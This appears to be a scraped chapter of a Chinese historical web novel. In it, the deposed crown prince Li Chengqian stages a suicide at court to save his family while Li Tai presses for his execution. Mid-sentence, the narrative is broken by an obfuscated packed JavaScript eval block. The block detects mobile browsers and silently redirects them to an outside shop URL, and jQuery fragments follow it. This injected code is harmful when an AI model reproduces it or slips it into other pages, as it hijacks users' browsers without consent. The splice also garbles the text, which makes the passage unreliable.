翌日一早。
早朝照旧。
太极殿上,文武百官分列两列,气氛比昨日更加压抑。
先前早朝之上,李世民仅废黜李承乾太子之位,但如何处置李承乾却是悬而未决。
众人皆知,今日早朝十有八九又要为此事争执不休。
李世民端坐龙椅,脸色沉沉。
百官行礼毕后,和众人想的一样,魏王李泰已沉不住气,率先出列:“父皇,儿臣有事启奏。”
“你说。”
李泰看向上首的李世民,一字一顿:“儿臣以为,废太子李承乾当日身为储君,不思君恩,反倒密谋兵变。”
“此乃忤逆不孝,罪大恶极,按律当斩!”
他深知李世民对他态度越来越敷衍,若再这样拖下去,他的太子之位就没了,必须得快刀斩乱麻。
随着李泰的话音落下,岑文本、苏勖等人纷纷附和,他们和李泰的想法一样。
龙椅上的李世民听到这话,脸色愈发阴沉。
他的目光久久落在志得意满的李泰身上,一言不发。
他在等——
等李泰顾念手足之情。
等李泰回心转意。
等李泰尚有一丝良知。
可李世民等了许久,仍未等到李泰开口。
反倒是孙伏伽战战兢兢上前:“陛下。”
“臣以为废太子李承乾乃受人挑唆,虽有罪,却也罪不至死。”
长孙无忌等人就像李世民肚子里的蛔虫一样,自知李世民心意,也纷纷上前附和。
一时间,两派各执一词,争执不休。
每日早朝之上,众人因此事是争论不休,李世民也深知此事不能继续这般下去,便道:“逆子李承乾身为朕与长孙皇后嫡长子,谋反一事虽已证据确凿,但或有误会。”
“来人,传朕旨意,宣李承乾觐见。”
长孙无忌等人听到这话,皆是意料之中。
他们都知道李世民是想留李承乾一命,今日定会为李承乾开脱。
唯有李泰脸上露出几分狂色——
他和李承乾一起长大,李承乾是何等性子,他比谁都清楚。
只要他当众激上几句,李承乾今日就死定了。
很快,李承乾就不急不缓走了进来。
李世民见尚不到一个月的时间李承乾就憔悴不少,心里多少有些不是滋味。
李承乾一瘸一拐,躬身上前:“儿臣参见父皇。”
李世民微微颔首。
他居高临下,正色开口:“事情已至今日,你可还有什么话想说?”
李承乾缓缓抬头,一字一顿道:“父皇,儿臣无话可说。”
“儿臣自知罪该万死,愧对天地,愧对您和在天有灵的母后。”
“儿臣自幼蒙父皇悉心教养,寄予厚望,身为储君,享尽荣华,本该兢兢业业,辅佐父皇。”
“可儿臣却是昏庸糊涂,听信小人谗言,行此谋逆大错,儿臣……万死难辞其咎!”
他这话虽是得李象提醒,此时此刻却也是他的真心话。
说着说着,他的眼泪落下,更是泣不成声起来:“想当年,母后早逝。父皇疼惜儿臣,百般纵容。”
“可儿臣却不知足,一步步走入歧途。”
“但从始至终,儿臣都未有过弑父弑君之心,只是走投无路,一时糊涂。”
“如今已铸成大错,儿臣甘愿受罚,只求父皇念在父子一场,念在母后抚育之情,放过儿臣身边无辜之人,饶过……我儿李象与李厥……”
听到这般肺腑之言,李世民脸色也不好看。但比起他来,李泰脸色却是更加难看——
人人皆知李承乾平日里是莽撞直性子,今日怎么会使这一出?
到底是谁教他的?
李泰深知李承乾这话一出,他就要不了李承乾的命,便下意识脱口而出:“李承乾,你休在此演苦肉计!”
“你更莫要将谋逆之罪推给旁人!”
“你乃东宫之主,没有你的授意,谁敢撺掇你谋反……”
只是,李世民并未纵容他继续说下去,一拍龙椅,厉声呵道:“住口!”
“朕问话时,你休得插嘴!”
李象又是一愣,从前父皇从未当众落过他的面子,如今为了逆子李承乾,竟会如此?
可如今他就算再不甘心,却也只能退下。
李世民看向李承乾,又道:“你,继续说。”
李承乾已满脸是泪,他更是撩起衣袍,跪地重重磕头:“父皇,儿臣罪孽深重,无颜苟活于世。”
“今日,儿臣便以死谢罪,告慰母后在天之灵……”
话没说完,他就突然起身,朝一旁的殿柱狠狠撞了过去。
一旁有大臣想要阻拦,却还是迟了一步。
众人只听“砰”的一声闷响,又见李承乾应声倒地,更见着李承乾脑门上的鲜血冒了出来。
李承乾当场就昏死了过去。
李世民惊得猛地起身,厉声喊道:“承乾?”
“承乾!”
继而,他连忙吩咐:“来人!”
“快传御医!”
他脸上的急色,是怎么都藏不住。
李泰先是面上一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676715|207501||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
喜,想着李承乾今日若真的死了,自己以后也能高枕无忧。
但他转而却见着李承乾胸口微微起伏,又腾升起了怒意——
以李承乾的性子,怎会想出如此高明的苦肉计?
经此一事,李承乾这条贱命就保住了。
不过,到底是谁在背后为李承乾出谋划策?
很快。
殿外就有御医匆匆闯了进来。
一个个御医甚至来不及行礼,连忙给李承乾诊治起来。
为首的御医先是止住了李承乾头上的血窟窿,这才跪地道:“启禀陛下,太子殿下……不,承乾郎君伤势严重,失血过多,好在暂无性命之忧,得立刻医治。”
“你们一个个还愣着做什么?还不赶快全力医治,务必要保住承乾的性命!”李世民也红了眼眶,语气森冷,“若是他有个三长两短,你们全都跟他陪葬!”
一众御医顿时不敢耽搁,连忙上前,吩咐内侍将李承乾抬至卧房。
李泰也匆匆赶了过来。
他就算是心有不甘,但形势逼人,却也不敢多言。
屋子里挤满了人。
却是鸦雀无声。
只有御医为李承乾救治时发出的细碎声响。
……
而另一边。
李象一早就吩咐陈福顺派人盯着早朝之上的动静。
当李象听说李承乾于早朝之上撞柱后是一点不意外,毕竟这办法是他教的。
可当他听说李承乾命悬一线时,却是吓得一个激灵,起身就朝外走去:“怎么会这样?”
“阿耶不是说是装腔作势吗?怎么会成这样子……”
他话说到一半就猜到怎么一回事。
阿耶定是清楚苦肉计演得越逼真,他们这些家眷就越安全。
父母爱子之深是他没想到的。
如今,李象什么都顾不上,匆匆抬脚走了出去。
他刚进屋,就见到李承乾一脸苍白躺在床上,李承乾额上的血已经止住了,一个个御医仍在忙活。
李象顾不得请安行礼,上前就握住李承乾的手,吓得身子微微有些发抖。
李世民心情亦不好,沉声道:“你莫要担心,有朕在,有一众御医在呢……”
只是他的话还未说完,李象就察觉到李承乾手里是冰凉凉的。
他打开李承乾的手一看,却见着里面躺着一枚玉佩。
他下意识将这枚玉佩拿了起来。
李世民见状,先是不解,可在他看清楚玉佩上的纹路时,却是愣住了。
李象不解道:“皇祖父,这枚玉佩是……”